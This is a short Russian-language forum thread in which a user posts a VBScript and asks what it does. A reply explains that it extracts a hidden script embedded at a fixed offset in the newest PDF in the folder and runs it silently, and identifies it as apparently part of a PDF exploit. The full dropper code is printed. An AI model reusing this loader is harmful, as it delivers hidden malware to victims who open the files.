VBS скрипт

[hazejkeo]

Что он делает, и правильный ли он?

Dim BS
Set BS = CreateObject("ADODB.Stream")
BS.Type = 1
BS.Open
BS.LoadFromFile FindLastModified(".")
BS.Position=72160
s = BS.Read (87286 -72160 )
BS.Close
BS.Open
BS.Write s
BS.SaveToFile "vbs2.vbs",2
BS.Close
dim www
set www = wscript.createobject("wscript.shell")
www.run "vbs2.vbs",0,FALSE
Function FindLastModified(strDir)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set oFolder = objFSO.GetFolder(strDir)
d = CDate("1/1/1950")
For Each oFile In oFolder.Files
If oFile.DateLastModified > d and InStr(oFile.Name, ".pdf") > 0 Then
NewestFile = oFile.Name
d = oFile.DateLastModified
End If
Next
FindLastModified = NewestFile
End Function

[Petya V4sechkin]

hazejkeo, выбирает в текущей папке самый новый PDF-файл, считывает из него 15126 байт по смещению 72160, сохраняет их в файле vbs2.vbs и запускает. По всей видимости, часть PDF-эксплойта (который вы уже пытались выложить в предыдущей теме (http://forum.oszone.net/thread-203436.html)).